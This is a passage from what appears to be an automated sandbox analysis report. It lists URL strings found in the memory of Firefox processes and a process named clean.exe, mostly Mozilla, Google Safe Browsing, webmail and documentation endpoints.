                  Source: firefox.exe, 00000011.00000003.2401229475.00000243658DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2335780358.00000243658DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2426047925.00000243658DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2405615746.00000243658DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2377897924.00000243658DC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
                  Source: firefox.exe, 00000011.00000003.2400573242.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2380446020.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2427444409.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2305816782.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2374374159.0000024363830000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/lit/lit/issues/1266
                  Source: firefox.exe, 00000011.00000003.2400573242.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2380446020.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2427444409.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2305816782.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2374374159.0000024363830000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
                  Source: firefox.exe, 00000011.00000003.2260044945.000002435B750000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2259914575.000002435B736000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2259756769.000002435B71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2260165444.000002435B76B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2259618778.0000024359200000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/mozilla-services/screenshots
                  Source: firefox.exe, 00000011.00000003.2320965039.000002435C167000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
                  Source: firefox.exe, 00000011.00000003.2320965039.000002435C167000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.mdhttps://www.mozilla.o
                  Source: firefox.exe, 00000011.00000003.2320965039.000002435C167000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
                  Source: firefox.exe, 00000011.00000003.2481936753.0000024365361000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2419798569.0000024365361000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/zertosh/loose-envify)
                  Source: firefox.exe, 00000011.00000003.2333638774.000002435E267000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2446484016.000002435E267000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://google.com/
                  Source: firefox.exe, 00000011.00000003.2320965039.000002435C167000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://gpuweb.github.io/gpuweb/
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://ideas.mozilla.org/
                  Source: firefox.exe, 00000011.00000003.2495445273.000002435E0D2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://identity.mozilla.com/apps/oldsyncS
                  Source: firefox.exe, 00000011.00000003.2482841092.0000024363792000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2445600803.0000024363792000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://identity.mozilla.com/apps/relay
                  Source: firefox.exe, 00000011.00000003.2495445273.000002435E0D2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://identity.mozilla.com/cmd/H
                  Source: firefox.exe, 00000011.00000003.2495445273.000002435E0D2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://identity.mozilla.com/cmd/HCX
                  Source: firefox.exe, 00000011.00000003.2495445273.000002435E0D2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://identity.mozilla.com/ids/ecosystem_telemetryU
                  Source: firefox.exe, 00000011.00000003.2495445273.000002435E0D2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://identity.mozilla.com/ids/ecosystem_telemetryUFj
                  Source: firefox.exe, 00000011.00000003.2320965039.000002435C167000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://img-getpocket.cdn.mozilla.net/
                  Source: firefox.exe, 00000011.00000003.2320965039.000002435C167000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://img-getpocket.cdn.mozilla.net/discoverystream.personalization.modelKeysdiscoverystream.perso
                  Source: firefox.exe, 00000017.00000002.3342601193.0000025EFE703000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://incoming.telemetry.mozilla.org
                  Source: firefox.exe, 00000011.00000003.2482098631.00000243650E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2320965039.000002435C167000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3338371718.00000184C72BC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3339469493.0000025EFE5F4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://incoming.telemetry.mozilla.org/submit
                  Source: firefox.exe, 00000011.00000003.2496017415.000002435E06D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://incoming.telemetry.mozilla.org/submit/firefox-desktop/events/1/aebb9512-41f6-4c0d-8d9a-1f264
                  Source: firefox.exe, 00000011.00000003.2495836623.000002435E090000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://incoming.telemetry.mozilla.org/submit/firefox-desktop/metrics/1/8796545b-dfb2-4a6f-9105-292d
                  Source: firefox.exe, 00000011.00000003.2320965039.000002435C167000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://incoming.telemetry.mozilla.org/submitresource://activity-stream/lib/ASRouter.jsm(
                  Source: firefox.exe, 00000011.00000003.2481936753.0000024365361000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2419798569.0000024365361000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://incoming.telemetry.mozilla.org/submits
                  Source: firefox.exe, 00000011.00000003.2400573242.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2380446020.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2427444409.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2305816782.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2374374159.0000024363830000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://install.mozilla.org
                  Source: firefox.exe, 00000011.00000003.2406459115.000002435EE11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2335110994.000002435C98B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2320965039.000002435C167000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://json-schema.org/draft/2019-09/schema
                  Source: firefox.exe, 00000011.00000003.2400573242.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2380446020.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2427444409.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2305816782.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2374374159.0000024363830000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
                  Source: firefox.exe, 00000011.00000003.2400573242.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2380446020.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2427444409.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2305816782.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2374374159.0000024363830000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
                  Source: firefox.exe, 00000011.00000003.2400573242.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2380446020.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2427444409.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2305816782.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2374374159.0000024363830000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
                  Source: firefox.exe, 00000011.00000003.2335110994.000002435C97F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://location.services.mozilla.com
                  Source: firefox.exe, 00000011.00000003.2335110994.000002435C97F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://location.services.mozilla.com/
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
                  Source: firefox.exe, 00000011.00000003.2335483499.000002435C92B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
                  Source: firefox.exe, 00000011.00000003.2491259190.000002435ED70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2421599733.000002435ED70000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://login.live.com
                  Source: firefox.exe, 00000011.00000003.2491259190.000002435ED70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2421599733.000002435ED70000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com
                  Source: firefox.exe, 00000011.00000003.2410334334.000002435B67E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
                  Source: firefox.exe, 00000011.00000003.2410334334.000002435B67E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://mail.inbox.lv/compose?to=%s
                  Source: firefox.exe, 00000011.00000003.2410334334.000002435B67E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
                  Source: firefox.exe, 00000017.00000002.3339469493.0000025EFE58F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://mitmdetection.services.mozilla.com/
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://monitor.firefox.com/about
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://monitor.firefox.com/breach-details/
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://monitor.firefox.com/user/dashboard
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://monitor.firefox.com/user/preferences
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
                  Source: firefox.exe, 00000011.00000003.2500989572.00000243577AA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2503197731.00000243577AA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2505446276.00000243577A1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://mozilla.org0/
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://oauth.accounts.firefox.com/v1
                  Source: firefox.exe, 00000011.00000003.2410334334.000002435B67E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
                  Source: firefox.exe, 00000011.00000003.2410334334.000002435B67E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
                  Source: clean.exe, 00000005.00000003.2151715946.0000000002FBD000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://portableapps.com/
                  Source: clean.exe, 00000005.00000003.2151715946.0000000002FBD000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://portableapps.com/apps/utilities/7-zip_portable
                  Source: clean.exe, 00000005.00000003.2151715946.0000000002FBD000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://portableapps.com/donate
                  Source: clean.exe, 00000005.00000003.2151715946.0000000002FBD000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://portableapps.com/feeds/general
                  Source: clean.exe, 00000005.00000003.2151715946.0000000002FBD000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://portableapps.com/support/portable_app#downloading
                  Source: clean.exe, 00000005.00000003.2151715946.0000000002FBD000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://portableapps.com/support/portable_app#installing
                  Source: clean.exe, 00000005.00000003.2151715946.0000000002FBD000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://portableapps.com/support/portable_app#upgrading
                  Source: clean.exe, 00000005.00000003.2151715946.0000000002FBD000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://portableapps.com/support/portable_app#using
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://profile.accounts.firefox.com/v1
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://profiler.firefox.com
                  Source: firefox.exe, 00000011.00000003.2397264757.0000024368141000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2495210278.000002435E21D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://push.services.mozilla.com
                  Source: firefox.exe, 00000011.00000003.2446484016.000002435E236000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://push.services.mozilla.com/
                  Source: firefox.exe, 00000011.00000003.2419798569.0000024365361000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://relay.firefox.com/api/v1/
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
                  Source: firefox.exe, 00000011.00000003.2485970156.000002435E467000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2332689238.000002435E463000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
                  Source: firefox.exe, 00000011.00000003.2319599605.000002435C180000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=AIzaSyC7jsptDS
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
                  Source: firefox.exe, 00000011.00000003.2259618778.0000024359200000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://screenshots.firefox.com/
                  Source: firefox.exe, 00000011.00000003.2406459115.000002435EE11000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://searchfox.org/mozilla-central/rev/3aef835f6cb12e607154d56d68726767172571e4/toolkit/content/w
                  Source: firefox.exe, 00000011.00000003.2388692284.000002435C732000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
                  Source: firefox.exe, 00000011.00000003.2471726860.00000243681B7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
                  Source: firefox.exe, 00000011.00000003.2335483499.000002435C92B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://shavar.services.mozilla.com/
